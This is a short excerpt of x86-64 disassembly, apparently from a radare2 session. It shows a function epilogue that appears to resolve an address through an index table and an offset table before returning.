lea rcx, [rsp + 0x28]
call fcn.100001d2c
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x68]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x70]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x38]
add rcx, rax
mov rax, rcx
jmp 0x100001a19
jmp 0x10000199a
xor eax, eax
add rsp, 0x88
ret